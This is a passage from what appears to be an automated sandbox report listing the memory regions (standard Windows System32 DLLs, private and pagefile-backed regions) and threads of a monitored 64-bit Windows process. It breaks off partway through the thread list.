entry_point = 0x7fefc171348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 1597 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1598 start_va = 0x7fefc350000 end_va = 0x7fefc37ffff monitored = 0 entry_point = 0x7fefc35194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1599 start_va = 0x7fefc380000 end_va = 0x7fefc3dafff monitored = 0 entry_point = 0x7fefc386940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1600 start_va = 0x7fefc4f0000 end_va = 0x7fefc4f6fff monitored = 0 entry_point = 0x7fefc4f142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1601 start_va = 0x7fefc500000 end_va = 0x7fefc554fff monitored = 0 entry_point = 0x7fefc501054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1602 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1603 start_va = 0x7fefc670000 end_va = 0x7fefc6a1fff monitored = 0 entry_point = 0x7fefc67144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1604 start_va = 0x7fefc6b0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6b2a6c region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 1605 start_va = 0x7fefc6c0000 end_va = 0x7fefc6c9fff monitored = 0 entry_point = 0x7fefc6c3b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1606 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1607 start_va = 0x7fefc750000 end_va = 0x7fefc77efff monitored = 0 entry_point = 0x7fefc751064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1608 start_va = 0x7fefc790000 end_va = 0x7fefc7fcfff monitored = 0 entry_point = 0x7fefc791010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1609 start_va = 0x7fefc800000 end_va = 0x7fefc813fff monitored = 0 entry_point = 0x7fefc804160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1610 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1611 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1612 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1613 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1614 start_va = 0x7fefcb70000 end_va = 0x7fefcc00fff monitored = 0 entry_point = 0x7fefcb71440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1615 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1616 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1617 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1618 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1619 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1620 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1621 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1622 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1623 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1624 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1625 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1626 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1627 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1628 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1629 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1630 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1631 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1632 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1633 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1634 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1635 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1636 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1637 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1638 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1639 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1640 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1641 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1642 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1643 start_va = 0x7fffff48000 end_va = 0x7fffff49fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff48000" filename = "" Region: id = 1644 start_va = 0x7fffff4c000 end_va = 0x7fffff4dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff4c000" filename = "" Region: id = 1645 start_va = 0x7fffff4e000 end_va = 0x7fffff4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff4e000" filename = "" Region: id = 1646 start_va = 0x7fffff52000 end_va = 0x7fffff53fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff52000" filename = "" Region: id = 1647 start_va = 0x7fffff54000 end_va = 0x7fffff55fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff54000" filename = "" Region: id = 1648 start_va = 0x7fffff58000 end_va = 0x7fffff59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff58000" filename = "" Region: id = 1649 start_va = 0x7fffff5a000 end_va = 0x7fffff5bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5a000" filename = "" Region: id = 1650 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 1651 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 1652 start_va = 0x7fffff62000 end_va = 0x7fffff63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 1653 start_va = 0x7fffff64000 end_va = 0x7fffff65fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 1654 start_va = 0x7fffff66000 end_va = 0x7fffff67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 1655 start_va = 0x7fffff68000 end_va = 0x7fffff69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 1656 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 1657 start_va = 0x7fffff70000 end_va = 0x7fffff71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 1658 start_va = 0x7fffff72000 end_va = 0x7fffff73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 1659 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 1660 start_va = 0x7fffff76000 end_va = 0x7fffff77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 1661 start_va = 0x7fffff78000 end_va = 0x7fffff79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 1662 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 1663 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 1664 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 1665 start_va = 0x7fffff80000 end_va = 0x7fffff81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 1666 start_va = 0x7fffff82000 end_va = 0x7fffff83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 1667 start_va = 0x7fffff84000 end_va = 0x7fffff85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 1668 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 1669 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 1670 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 1671 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1672 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 1673 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1674 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1675 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1676 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1677 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1678 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1679 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1680 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1681 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1682 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1683 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1684 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1685 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1686 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1687 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1688 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1689 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1690 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1718 start_va = 0xb40000 end_va = 0xb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 2833 start_va = 0x1dc0000 end_va = 0x1e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 2834 start_va = 0x2560000 end_va = 0x25dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 2835 start_va = 0x25e0000 end_va = 0x265ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 2836 start_va = 0x7fef3f10000 end_va = 0x7fef3f26fff monitored = 0 entry_point = 0x7fef3f20098 region_type = mapped_file name = "certprop.dll" filename = "\\Windows\\System32\\certprop.dll" (normalized: "c:\\windows\\system32\\certprop.dll") Region: id = 2837 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2838 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2839 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2842 start_va = 0x7fef3000000 end_va = 0x7fef3037fff monitored = 0 entry_point = 0x7fef30010c0 region_type = mapped_file name = "winscard.dll" filename = "\\Windows\\System32\\WinSCard.dll" (normalized: "c:\\windows\\system32\\winscard.dll") Region: id = 2873 start_va = 0x7fefc700000 end_va = 0x7fefc74ffff monitored = 0 entry_point = 0x7fefc7011e0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2875 start_va = 0x7fef2fd0000 end_va = 0x7fef2ff3fff monitored = 0 entry_point = 0x7fef2fe8598 region_type = mapped_file name = "sessenv.dll" filename = "\\Windows\\System32\\SessEnv.dll" (normalized: "c:\\windows\\system32\\sessenv.dll") Region: id = 2876 start_va = 0x3550000 end_va = 0x371ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003550000" filename = "" Region: id = 2877 start_va = 0xb60000 end_va = 0xb61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "certprop.dll.mui" filename = "\\Windows\\System32\\en-US\\certprop.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\certprop.dll.mui") Region: id = 2879 start_va = 0x1f90000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 2880 start_va = 0x23f0000 end_va = 0x246ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 2881 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2882 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2883 start_va = 0xb70000 end_va = 0xb79fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 2884 start_va = 0x3350000 end_va = 0x33cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003350000" filename = "" Region: id = 2885 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 5677 start_va = 0x2530000 end_va = 0x25affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 5678 start_va = 0x25c0000 end_va = 0x263ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025c0000" filename = "" Region: id = 5679 start_va = 0x7fefb780000 end_va = 0x7fefb794fff monitored = 0 entry_point = 0x7fefb781010 region_type = mapped_file name = "aelupsvc.dll" filename = "\\Windows\\System32\\aelupsvc.dll" (normalized: "c:\\windows\\system32\\aelupsvc.dll") Region: id = 5680 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 5681 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 5682 start_va = 0x2160000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 5683 start_va = 0x1e80000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 5684 start_va = 0x2160000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 5685 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 5686 start_va = 0x26d0000 end_va = 0x274ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 5687 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 5688 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 5689 start_va = 0xa10000 end_va = 0xa13fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "recentfilecache.bcf" filename = "\\Windows\\AppCompat\\Programs\\RecentFileCache.bcf" (normalized: "c:\\windows\\appcompat\\programs\\recentfilecache.bcf") Region: id = 5690 start_va = 0xa10000 end_va = 0xa13fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "recentfilecache.bcf" filename = "\\Windows\\AppCompat\\Programs\\RecentFileCache.bcf" (normalized: "c:\\windows\\appcompat\\programs\\recentfilecache.bcf") Region: id = 5704 start_va = 0x7fefa7a0000 end_va = 0x7fefa806fff monitored = 0 entry_point = 0x7fefa7b6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 5705 start_va = 0xa10000 end_va = 0xa1ffff monitored = 0 entry_point = 0xa13e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 5706 start_va = 0xb40000 end_va = 0xb43fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 5707 start_va = 0x2610000 end_va = 0x268ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 5708 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 5709 start_va = 0x7fefad60000 end_va = 0x7fefad9efff monitored = 0 entry_point = 0x7fefad612c0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 6073 start_va = 0x13f0000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 6074 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 6075 start_va = 0xa10000 end_va = 0xa17fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 6076 start_va = 0xa10000 end_va = 0xa10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 6077 start_va = 0xa10000 end_va = 0xa10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Thread: id = 81 os_tid = 0xfec Thread: id = 82 os_tid = 0xeb8 Thread: id = 83 os_tid = 0xeb4 Thread: id = 84 os_tid = 0x960 Thread: id = 85 os_tid = 0x93c Thread: id = 86 os_tid = 0x938 Thread: id = 87 os_tid = 0x934 Thread: id = 88 os_tid = 0x91c Thread: id = 89 os_tid = 0x910 Thread: id = 90 os_tid = 0x8fc Thread: id = 91 os_tid = 0x694 Thread: id = 92 os_tid = 0x45c Thread: id = 93 os_tid = 0x7a0 Thread: id = 94 os_tid = 0x394 Thread: id = 95 os_tid = 0x284 Thread: id = 96 os_tid = 0x328 Thread: id = 97 os_tid = 0x32c Thread: id = 98 os_tid = 0x48c Thread: id = 99 os_tid = 0x240 Thread: id = 100 os_tid = 0x330 Thread: id = 101 os_tid = 0x564 Thread: id = 102 os_tid = 0x7f4 Thread: id = 103 os_tid = 0x74c Thread: id = 104 os_tid = 0x418 Thread: id = 105 os_tid = 0x2b0 Thread: id = 106 os_tid = 0x6cc Thread: id = 107 os_tid = 0x6c4 Thread: id = 108 os_tid = 0x668 Thread: id = 109 os_tid = 0x664 Thread: id = 110 os_tid = 0x63c Thread: id = 111 os_tid = 0x610 Thread: id = 112 os_tid = 0x604 Thread: id = 113 os_tid = 0x600 Thread: id = 114 os_tid = 0x5e8 Thread: id = 115 os_tid = 0x5dc Thread: id = 116 os_tid = 0x5cc Thread: id = 117 os_tid = 0x444 Thread: id = 118 os_tid = 0x440 Thread: id = 119 os_tid = 0x434 Thread: id = 120 os_tid = 0x42c Thread: id = 121 os_tid = 0x420 Thread: id = 122 os_tid = 0x214 Thread: id = 123 os_tid = 0x22c Thread: id = 124 os_tid = 0x3f4 Thread: id = 125 os_tid = 0x3ec Thread: id = 126 